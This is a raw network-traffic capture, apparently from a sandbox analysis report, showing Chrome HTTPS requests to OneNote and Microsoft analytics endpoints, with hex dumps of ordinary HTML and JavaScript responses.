2024-04-26 07:59:30 UTC	1073	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>403 - For
2024-04-26 07:59:30 UTC	160	IN	Data Raw: 3e 0d 0a 20 20 3c 68 33 3e 59 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 20 75 73 69 6e 67 20 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 74 68 61 74 20 79 6f 75 20 73 75 70 70 6c 69 65 64 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: > <h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49895	13.107.246.69	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:31 UTC	724	OUT	GET /officeaddins/learningtools/?et= HTTP/1.1 Host: www.onenote.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://usc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:31 UTC	1155	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2309 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_3 X-RoutingOfficeVersion: 16.0.17621.40450 X-RoutingSessionId: f17f0249-d29a-4865-9b54-493cbe633fbb X-RoutingCorrelationId: 5154481f-e619-4e3a-ae13-7de0423a2a76 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" P3P: CP="P3P is not supported anymore; see: https://msdn.microsoft.com/en-us/library/mt146424%28v=vs.85%29.aspx" x-correlationid: 5154481f-e619-4e3a-ae13-7de0423a2a76 x-usersessionid: f17f0249-d29a-4865-9b54-493cbe633fbb x-officefe: AgavesFrontEnd_IN_6 x-officeversion: 16.0.17622.40456 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-content-type-options: nosniff x-azure-ref: 20240426T075931Z-17644f8887fddqrtm10p4ae79g0000000090000000002hsn X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-04-26 07:59:31 UTC	2309	IN	Data Raw: 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 09 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6f 6e 65 6e 6f 74 65 2e 6e 65 74 2f 6f 66 66 69 63 65 61 64 64 69 6e 73 2f 31 36 31 37 36 32 32 34 30 34 35 36 5f 53 63 72 69 70 74 73 2f 43 6f 6d 6d 6f 6e 44 69 61 67 6e 6f 73 74 69 63 73 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 3c 73 63 72 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="utf-8"><title></title><script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script><scr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49899	13.107.246.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:31 UTC	652	OUT	GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1 Host: amcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usc-onenote.officeapps.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://usc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:32 UTC	645	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:31 GMT Content-Type: application/javascript Content-Length: 30715 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, no-transform, max-age=7200 Expires: Fri, 26 Apr 2024 09:59:31 GMT X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240426T075931Z-17644f8887fvnmt8f6f16dxvk8000000046g0000000012k6 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-04-26 07:59:32 UTC	15739	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 53 41 3d 77 69 6e 64 6f 77 2e 4d 53 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 3d 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 66 69 67 3d 7b 22 76 65 72 22 3a 22 31 30 2e 32 34 30 38 36 2e 34 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 70 74 6e 22 3a 22 6f 6e 65 6e 6f 74 65 6f 6e 6c 69 6e 65 22 2c 22 67 66 78 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6d 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 22 2c 22 64 62 67 22 3a 66 61 6c 73 65 2c 22 61 61 64 22 3a 74 72 75 65 2c 22 69 6e 74 22 3a 66 61 6c 73 65 2c 22 70 78 79 22 3a 74 72 75 65 2c 22 6d 73 54 78 74 22 3a 66 61 6c 73 65 2c 22 72 77 64 Data Ascii: window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd
2024-04-26 07:59:32 UTC	14976	IN	Data Raw: 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 26 26 28 54 65 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 70 2e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 65 29 7d 29 2c 54 65 2e 5f 75 6e 68 61 6e 64 6c 65 64 52 65 6a 65 63 74 69 6f 6e 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 56 65 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 43 6c 69 65 6e 74 45 72 72 6f 72 22 2c 69 73 43 72 69 74 69 63 61 6c 3a 21 30 2c 6e 61 6d 65 3a 65 2e 6d 65 73 73 61 67 65 7c 7c 22 28 66 61 6c 73 65 79 20 6d 65 73 73 61 67 65 20 70 72 6f 70 65 72 74 79 20 6f 6e 20 65 72 72 6f 72 29 22 2c 74 79 70 65 3a 22 55 6e 68 61 6e 64 6c 65 64 50 72 6f 6d 69 73 65 52 65 6a 65 63 74 69 6f 6e 22 2c 64 65 74 61 69 6c 73 Data Ascii: [native code]")&&(Te._immediateFn=function(e){return p.Promise.resolve().then(e)}),Te._unhandledRejectionFn=function(e){Ve({eventType:"ClientError",isCritical:!0,name:e.message\|\|"(falsey message property on error)",type:"UnhandledPromiseRejection",details

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49917	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:32 UTC	1752	OUT	POST /o/reportcsp.ashx HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 4592 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929
2024-04-26 07:59:32 UTC	4592	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 75 73 63 2d 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 2f 6f 6e 65 6e 6f 74 65 66 72 61 6d 65 2e 61 73 70 78 3f 75 69 3d 65 6e 2d 55 53 26 72 73 3d 65 6e 2d 55 53 26 77 6f 70 69 73 72 63 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 73 69 67 72 6f 75 70 73 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 6a 73 5f 75 73 69 67 72 6f 75 70 73 5f 63 6f 6d 25 32 46 5f 76 74 69 5f 62 69 6e 25 32 46 77 6f 70 69 2e 61 73 68 78 25 32 46 66 6f 6c 64 65 72 73 25 32 46 34 32 37 35 63 37 63 64 39 35 35 39 34 39 62 35 39 65 30 30 38 39 31 33 65 36 37 62 32 34 32 Data Ascii: {"csp-report":{"document-uri":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b242
2024-04-26 07:59:32 UTC	1009	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b6bb599c-ff70-4f52-b532-8845b9fc2458 X-UserSessionId: b6bb599c-ff70-4f52-b532-8845b9fc2458 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5A X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: C78739E6476D4A4A9A1DD2614AD6E683 Ref B: MIA301000106039 Ref C: 2024-04-26T07:59:32Z Date: Fri, 26 Apr 2024 07:59:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49920	13.107.213.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:33 UTC	630	OUT	GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usc-onenote.officeapps.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://usc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:33 UTC	982	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:33 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 91802 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=1800, immutable, no-transform Last-Modified: Mon, 25 Mar 2024 17:34:29 GMT ETag: 0x8DC4CF1D326E9F1 x-ms-request-id: f6b209fe-b01e-000d-61de-904790000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 3.2.17 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.shared.analytics.mectrl-3.2.17.gbl.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T075933Z-1865489d5f4vxtqf9836nc5azn00000003y00000000090mk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 07:59:33 UTC	15402	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 53 68 61 72 65 64 20 41 6e 61 6c 79 74 69 63 73 2c 20 33 2e 32 2e 31 37 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 7b 7d 2c 69 3d 22 5f 5f 6d 73 24 6d 6f 64 5f 5f 22 2c 6f 3d 7b 7d 2c 61 3d 6f 2e 65 73 6d 5f 6d 73 5f 73 68 61 72 65 64 5f 61 6e 61 6c 79 74 69 63 73 5f 6d 65 63 74 72 6c 5f 33 5f 32 5f 31 37 3d 7b 7d 2c 75 3d 22 33 2e 32 2e 31 37 22 2c 63 3d 22 6f 6e 65 44 73 4d 65 43 Data Ascii: /! 1DS JS SDK Shared Analytics, 3.2.17 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_17={},u="3.2.17",c="oneDsMeC
2024-04-26 07:59:33 UTC	16384	IN	Data Raw: 20 74 7d 28 6f 2c 65 29 29 5b 6f 74 28 6e 29 5d 3d 74 29 2c 74 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 65 5b 6e 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 48 72 3d 22 74 6f 47 4d 54 53 74 72 69 6e 67 22 2c 6a 72 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 57 72 3d 22 63 6f 6f 6b 69 65 22 2c 58 72 3d 22 65 78 70 69 72 65 73 22 2c 47 72 3d 22 65 6e 61 62 6c 65 64 22 2c 51 72 3d 22 69 73 43 6f 6f 6b 69 65 55 73 65 44 69 73 61 62 6c 65 64 22 2c 4a 72 3d 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 55 73 61 67 65 22 2c 24 72 3d 22 5f 63 6b 4d 67 72 22 2c 5a 72 3d 6e 75 6c 6c 2c 59 72 3d 6e 75 6c 6c 2c 65 69 3d 6e 75 6c 6c 2c 6e Data Ascii: t}(o,e))[ot(n)]=t),t)},kill:function(e,n){if(e&&e[n])try{delete e[n]}catch(t){}}};return o}var Hr="toGMTString",jr="toUTCString",Wr="cookie",Xr="expires",Gr="enabled",Qr="isCookieUseDisabled",Jr="disableCookiesUsage",$r="_ckMgr",Zr=null,Yr=null,ei=null,n
2024-04-26 07:59:33 UTC	16384	IN	Data Raw: 29 26 26 28 61 3d 65 28 70 2c 70 5b 44 65 5d 28 29 29 29 2c 6f 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 70 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 70 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6e 65 5d 7d 2c 70 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 67 26 26 30 3c 72 5b 6e 65 5d 26 26 28 65 3d 72 2c 72 3d 5b 5d 2c 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 29 5b 46 5d 28 65 29 7d 29 29 7d 2c 70 2e 70 6f 6c 6c 49 6e 74 65 72 6e 61 6c 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 3d 65 7c 7c 6e 75 6c 6c 2c 4e 3d 21 31 2c 41 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 41 Data Ascii: )&&(a=e(p,p[De]())),o\|\|a\|\|null},p.setPerfMgr=function(e){o=e},p.eventCnt=function(){return r[ne]},p.releaseQueue=function(){var e;g&&0<r[ne]&&(e=r,r=[],ie(e,function(e){y()[F](e)}))},p.pollInternalLogs=function(e){return P=e\|\|null,N=!1,A&&(clearInterval(A
2024-04-26 07:59:33 UTC	16384	IN	Data Raw: 73 3a 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 7d 2c 7b 72 3a 63 2e 57 49 4e 52 54 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 20 52 54 22 7d 2c 7b 72 3a 63 2e 57 49 4e 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 22 7d 2c 7b 72 3a 63 2e 49 4f 53 2c 6f 73 3a 22 69 4f 53 22 7d 2c 7b 72 3a 63 2e 41 4e 44 52 4f 49 44 2c 6f 73 3a 22 41 6e 64 72 6f 69 64 22 7d 2c 7b 72 3a 63 2e 4c 49 4e 55 58 2c 6f 73 3a 22 4c 69 6e 75 78 22 7d 2c 7b 72 3a 63 2e 43 52 4f 53 2c 6f 73 3a 22 43 68 72 6f 6d 65 20 4f 53 22 7d 2c 7b 73 3a 22 78 31 31 22 2c 6f 73 3a 22 55 6e 69 78 22 7d 2c 7b 73 3a 22 62 6c 61 63 6b 62 65 72 72 79 22 2c 6f 73 3a 22 42 6c 61 63 6b 42 65 72 72 79 22 7d 2c 7b 73 3a 22 73 79 6d 62 69 61 6e 22 2c 6f 73 3a 22 53 79 6d 62 69 61 6e 22 7d 2c 7b 73 3a 22 6e 6f 6b 69 61 22 Data Ascii: s:"Windows Phone"},{r:c.WINRT,os:"Windows RT"},{r:c.WIN,os:"Windows"},{r:c.IOS,os:"iOS"},{r:c.ANDROID,os:"Android"},{r:c.LINUX,os:"Linux"},{r:c.CROS,os:"Chrome OS"},{s:"x11",os:"Unix"},{s:"blackberry",os:"BlackBerry"},{s:"symbian",os:"Symbian"},{s:"nokia"
2024-04-26 07:59:33 UTC	16384	IN	Data Raw: 29 29 7b 76 61 72 20 74 2c 72 3d 64 2c 69 3d 65 2c 6f 3d 67 2c 61 3d 66 3b 69 66 28 49 26 26 21 76 26 26 43 63 2e 74 65 73 74 28 65 29 29 7b 76 61 72 20 75 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 63 3d 75 2e 6c 65 6e 67 74 68 3b 69 66 28 31 3c 63 29 7b 66 6f 72 28 76 61 72 20 6f 3d 6f 26 26 6f 2e 73 6c 69 63 65 28 29 2c 73 3d 30 3b 73 3c 63 2d 31 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 75 5b 73 5d 2c 61 3d 61 5b 6c 5d 3d 61 5b 6c 5d 7c 7c 7b 7d 3b 72 2b 3d 22 2e 22 2b 6c 2c 6f 26 26 6f 2e 70 75 73 68 28 6c 29 7d 69 3d 75 5b 63 2d 31 5d 7d 7d 28 65 3d 76 26 26 28 28 74 3d 53 5b 65 3d 72 5d 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 37 3c 3d 65 2e 6c 65 6e 67 74 68 26 26 28 74 3d 61 74 28 65 2c 22 65 78 74 2e 6d 65 74 61 64 61 74 61 22 29 7c 7c 61 74 28 Data Ascii: )){var t,r=d,i=e,o=g,a=f;if(I&&!v&&Cc.test(e)){var u=e.split("."),c=u.length;if(1<c){for(var o=o&&o.slice(),s=0;s<c-1;s++){var l=u[s],a=a[l]=a[l]\|\|{};r+="."+l,o&&o.push(l)}i=u[c-1]}}(e=v&&((t=S[e=r])===undefined&&(7<=e.length&&(t=at(e,"ext.metadata")\|\|at(
2024-04-26 07:59:33 UTC	10864	IN	Data Raw: 74 63 68 29 2c 69 26 26 72 3c 3d 51 26 26 28 51 3d 2d 31 2c 6b 3d 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 6c 61 74 65 6e 63 79 3a 72 2c 73 65 6e 64 54 79 70 65 3a 65 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 6e 7d 7d 2c 21 74 29 3a 28 51 3d 30 3c 3d 51 3f 4d 61 74 68 2e 6d 69 6e 28 51 2c 72 29 3a 72 2c 6b 3d 4d 61 74 68 2e 6d 61 78 28 6b 2c 6e 29 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 71 3d 7b 52 45 41 4c 5f 54 49 4d 45 3a 5b 32 2c 31 2c 30 5d 2c 4e 45 41 52 5f 52 45 41 4c 5f 54 49 4d 45 3a 5b 36 2c 33 2c 30 5d 2c 42 45 53 54 5f 45 46 46 4f 52 54 3a 5b 31 38 2c 39 2c 30 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 2c 72 3d 24 3f 59 3a 5a 3b 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: tch),i&&r<=Q&&(Q=-1,k=0)},function(){return{latency:r,sendType:e,sendReason:n}},!t):(Q=0<=Q?Math.min(Q,r):r,k=Math.max(k,n)),i}function n(){q={REAL_TIME:[2,1,0],NEAR_REAL_TIME:[6,3,0],BEST_EFFORT:[18,9,0]}}function e(e,n){var t=[],r=$?Y:Z;ie(e,function(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49928	13.107.246.69	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:34 UTC	711	OUT	POST /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive Content-Length: 552 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-UserSessionId: f17f0249-d29a-4865-9b54-493cbe633fbb sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.onenote.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.onenote.com/officeaddins/learningtools/?et= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
